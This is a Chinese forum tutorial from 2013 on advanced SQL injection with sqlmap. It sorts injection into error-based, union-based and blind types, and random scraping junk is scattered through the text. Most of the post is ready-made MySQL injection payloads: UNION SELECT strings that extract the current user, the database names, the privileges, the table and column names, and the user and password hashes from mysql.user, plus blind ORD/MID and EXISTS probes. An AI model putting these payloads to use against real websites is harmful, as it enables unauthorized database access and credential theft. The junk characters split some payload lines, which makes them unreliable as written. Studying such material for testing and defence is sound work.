找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2224|回复: 0
打印 上一主题 下一主题

sqlmap高级注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-16 20:31:26 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
放假第一天,本应该好好放松一下,可是还是想着把文章写完先。。。
5 W, D3 A# u- ^/ h: v  d2 B) w6 u
/ p, b* p2 j6 j9 V; Y这次的主题是高级注入,坛子里也讲到了一些,不过本文旨在给大家一个更深刻的概念和全面的理解,下面看看我自己列的一个表
. f/ N# p  w3 P% U0 ~0 t/ g8 L0 P
- L9 R4 }' m+ z- r' W# k分类标准        分类        备注3 M( \$ W9 z. F4 b: e
按字段类型        整型注入,字符型注入        6 r: t: n8 L2 j5 h  E
按出现的位置        get注入,post注入,cookie注入,http header注入       
2 g0 G' X: Q! |然而高级注入是这样的$ ~* W) K8 s1 b/ w5 ?
, x* _; p1 V- s" u. K
高级注入分类        条件
4 b$ B8 T" o, @error-based sql        数据库的错误回显可以返回,存在数据库,表结构
! g2 p) c' @2 J+ K* X7 ?! }union-based sql        能够使用union,存在数据库,表结构6 N) ]4 |6 D" C4 S7 l
blind sql        存在注入' @9 O) [) c0 N8 \
我们暂且不考虑waf等的影响,只从原理上学习。通过上面我们不难发现,三种高级注入选择的顺序应该是eub(第一个字母,后面为了方便我都这样表示了 ),实际上,e是不需要知道字段数的,u需要知道字段数,e之所以在前我觉得主要是因为这个,因为在其他方面它们没有本质的区别,它们都需要知道数据库以及表的结构,这样才能构造出相应的语句,当然,能e一般能u(没过滤union等),反过来却很不一定,因为一般会有自定义的错误提醒。如果没有结构,那么就回到了最悲剧,最麻烦的b了,猜。。。当然可能没有结果,但是如果只是不能使用u,有结构,b还是能出结果的,只是苦逼点而已。。。( A; o8 T9 B1 I) B6 f' a; T

9 n- P7 w2 H* _/ g2 h( }1 ?) J好了,说了这么多,该上神器sqlmap了,最近坛子里貌似很火
7 J/ M3 Z" `  Y. I) `
( {$ Y7 ?2 P8 ?6 P7 Q# [附件分别以mysql和mssql为例子,提醒:sqlmap中使用-v 3可以查看每个请求的payload。* x  U" w) O8 Q6 K

  M& |6 u- U$ t  P+ e: M$ m这里用mysql说明: R% q* F- F' H5 C; ^# M
7 x% C% [! Z7 N- B, q
e注入坛子里很多了,请看戳我或者再戳我
% x' m' A; _$ O
5 W: \( q3 G8 r" y2 wu注入其实也很多了,这里就大概帖上一些重要语句吧,附件上结合例子都有的
% w$ G/ D( {9 L( g6 c  Y2 A1 E ) @4 _5 [4 G: X
获取当前数据库用户名
8 W; s! v- F! J! D) M
6 G4 L, E8 l: `: @) j# |7 \$ pUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(C
' @" ?( _6 E$ J5 J5 _0 fAST(CURRENT_USER() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NUL6 A1 S# l; ~! y3 F' Z$ S
L, NULL#
6 ^! K1 [2 n9 y' \( I注意concat那里不是必须的,只是sqlmap为了自动攫取出数据加上的特征,下面语句类似,涉及基础性的知识,基友们自己去补吧。) i( }2 c% o( o) l
3 d6 x  O- v) Q1 A
获取数据库名) n0 K9 b. a8 w: {0 _

: O' |3 ?  b% O# P/ R2 v" `UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(DATABASE() AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL#
* Z" M6 p  u9 u7 Y获取所有用户名( m- F& d% j6 G
$ A. Y2 x0 |. R  F
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#8 U, n- h) W, S, k
查看当前用户权限
! y+ H% Y' L4 g, S! x' P. S8 @$ g1 W 5 @) @5 b$ l, Q! u$ e4 _
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(grantee AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(privilege_type AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.USER_PRIVILEGES#
( H: n0 j: F+ U& _/ U尝试获取密码,当然需要有能读mysql数据库的权限/ Z' @, W! U& V5 i
) u: A- X( _% I' x
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(user AS CHAR),0x20),0x697461626a6e,IFNULL(CAST(password AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM mysql.user#
" c+ n6 n4 h8 V8 B5 E& F获取表名,limit什么的自己搞啦0 u; @. o9 Z4 S6 z

& ^4 k/ {: ^$ o" R- p# XUNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(table_name AS CHAR),0x20),0x3a6864623a), NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.TABLES WHERE table_schema = 0x7061727474696d655f6a6f62#+ Y0 C+ l/ |0 p# F% ~
获取字段名及其类型. n7 ]: ~$ M, f' E9 A6 K
UNION ALL SELECT NULL, NULL, NULL, NULL, NULL, CONCAT(0x3a7075713a,IFNULL(CAST(column_name AS CHAR),0×20),0x697461626a6e,IFNULL(CAST(column_type AS CHAR),0×20),0x3a6864623a),NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x61646d696e5f7461626c65 AND table_schema=0x7061727474696d655f6a6f62 AND (column_name=0x61646d696e6e616d65 OR column_name=0x70617373776f7264)#
/ V, t( ~+ @$ i, C
: @9 W. y9 {' |- P# Tb注入,呵呵,除了当前用户,数据库,版本可以出来,而如果不能u,但存在数据的结构表,还是能苦逼出来,否则猜也不一定能猜到表和字段,内容自然也出不来,苦逼access啊。。。, o* q  d; d9 A5 Y; Q  o) h

" ^# L# h$ }; z! g5 w* M如:
- }8 z' \8 H& @1 C9 }4 @获取当前用户名
; z: _1 B7 E/ m! {1 E7 x
# v% ?4 o0 t1 |. g) m/ G4 BAND ORD(MID((IFNULL(CAST(CURRENT_USER() AS CHAR),0x20)),1,1)) > 116& S5 O2 g% k8 H1 q9 O; V7 i
获取当前数据库. L9 x3 x5 x. y/ i9 Z+ |  e4 ^
; C* c9 P" |$ j: j! _5 [: y
AND ORD(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),6,1)) > 106
' F! Q( l1 T1 w- s0 `( U9 i, @获取表名
/ a/ S0 P. \( s, ] 5 f4 ]0 `" l: Q' t( }6 z$ v
AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema=0x7061727474696d655f6a6f62),1,1)) > 51
$ o  }4 i+ H6 _4 N/ X获取字段名及其类型和爆内容就不说了,改改上面的就可以了。, R, \1 K' W# e- ~
回到最苦逼的情况,无结构的,mysql版本<5.0,现在不多见了吧,还是看看语句。
0 \" F7 e3 [$ X; q爆表
+ D# g; }8 i1 L! f: G
9 n5 l3 l6 Y& I4 @0 R9 }9 {' x& BAND EXISTS(select * from table)! i7 r) r$ T  m& F) ^
爆字段8 I- a  j9 O9 c) ^% k  r# F8 P

; [! p; m7 a' K& GAND EXISTS(select pwd from table)
) J+ y1 J, V# ~$ E' Y3 }盲注的变化就比较多了,由于篇幅,只是举个例子而已。
0 U7 U2 k7 M' o; l9 N& W" I/ ]   i% N$ D% }  ?$ y
本来想把mssql和access都写上的,不过编辑得太累了,有时间再写吧,其实原理都差不多,今天就洗洗睡了吧。
7 A4 d3 O+ f/ g: a( E" L
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表